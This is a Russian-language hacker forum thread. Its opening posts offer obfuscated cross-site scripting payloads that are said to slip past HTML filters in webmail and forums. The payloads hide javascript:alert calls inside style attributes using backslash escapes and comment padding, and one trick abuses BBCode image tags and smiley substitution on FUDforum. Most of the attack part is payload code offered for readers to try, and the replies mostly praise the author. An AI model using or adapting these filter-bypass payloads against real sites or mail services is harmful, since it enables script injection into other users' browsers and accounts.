|
Новый обход фильтров форумов и и-мейлов используя атрибут style
Эти структуры, проверял, работают на ВСЕХ и-мейлах как и на Русских, так и на Английских. Все что нужно, так это разрушить структуру тегов, что не смешите меня, для меня и для знающих, пустяки. На форуме труднее ломать структуру, чем на и-мейлах.
Код HTML:
<html><body><a href=www. style="back\g\r\o\u\nd:\u\r\l\(\javasc\r\i\p\t\:a\le\r\t\(\'\w\j\'\)\)" >wj<a></body></html>Код HTML:
<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**/'\w\j\'/**/\/**/)/**/\/**/)" >wj<a></body></html>Код HTML:
<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/)" >wj<a></body></html>Код HTML:
<html><body><a href=www. style=/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>Код HTML:
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>Код HTML:
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*/'\w\j\'/*=*=/=\=/=*=*/)/*=*=/=\=/=*=*/) >wj<a></body></html>Код HTML:
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*=/='=\=w=\=j=\='=/=*=*=/=\=/=*=*/)/*=*=/=\==/=*=*/) >wj<a></body></html>Просто интересно, что случается в этой комбинации для знающих. Легче всего просматривать в Фаерфоксе. Код HTML:
<html><img src="blah.gif" <onchange="alert('you cli=cked me')"></body></html>Код HTML:
<html><img src="blah.gif" <onchange="alert('you clicked me')"></body></html>Вообщем не один фильтр, эти комбинации не палит, и можете это все проверить на locahost. Все это проверялось, и все это вы можете проверить и сами, открыв блокнот, copy/paste одну из комбинаций моих кодов как и есть, и сохранить как filename.html Работает только в браузере ИЕ. :rolleyes: А вот и моя коронка...... Код HTML:
<html><img src="blah.gif" <span style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*/'\w\j\'/*=*=/=\=/=*=*/)/*=*=/=\=/=*=*/) me')" |
wj есть то что в чем ты еще нечего ненашол ну или неписал просто ето FUDforum новый естественно
----------------------------------------------------- з.ы. еще пару статей и будет готов твои психологический портрет!-) |
Цитата:
Ладно, ты прав...так уж и быть имхо. Должен сказать, что проверив почти все комбинации тегов, Я нашёл, что они ОЧЕНЬ сильно защищены имхо....ни в одном теги не проходит другой тег, и ни во едином теги не проходит двойная кавычка. Но вот в чём фишка....во ВСЕХ тегах, проходит смайлик.... Что ну и что? А то, что вы сами теперь можете создавать свой смайлик и ломать через него...это типа, для выкрутасывания... +) Ну а вот и сам код алёрта, Код HTML:
[img]java script:alert().gif[/img]В теге, использована табуляция....как её создать? Открываем блокнот, и жмём кнопочку Цитата:
И ещё, во всех тегах проходят одинарная кавычка, ('), и апостроф (`), так что создать свой смаилик и через него ломать через любой тег, проблем существовать не должно. Не забудьте, что смайлик работать не будет, если до смайлика и после, не будет стоять точка. (.) Пример, Код HTML:
[img]http://www.wj.8).gif[/img]Код HTML:
<img src="http://www.wj.<img src="images/smiley_icons/icon_cool.gif" border=0 alt="Cool">.gif" border=0 alt="http://www.wj.<img src="images/smiley_icons/icon_cool.gif" border=0 alt="Cool">.gif">Код тестился на форуме разработчиков форума, в версии ИЕ6. :rolleyes: |
не я чото помню часика 2 тоже сморел чото вышло кривое непомню уже теперь на старой версии
ну со смайликами чото уж сильно замученно --з.ы.-- зато я знаю где ты ненайдешь нечего такой вот супер пупер мега куль форум-) |
а ты токв форумах уязвимости ищешь чтоли?
|
|
wj молодец за видео мне понравилось зилиные мибиры как всегда не одобрят забанят тебя скоро!
|
Джоран, респект! Довольно интересные наработки, осталось тока проверить.
|
Полезный человек этот Джордан.
Хоть и вредный... :cool: |
парни такая проблема вот ввожу я
Код HTML:
<script>alert()</script>Код HTML:
<script>alert()</script> |
| Время: 12:39 |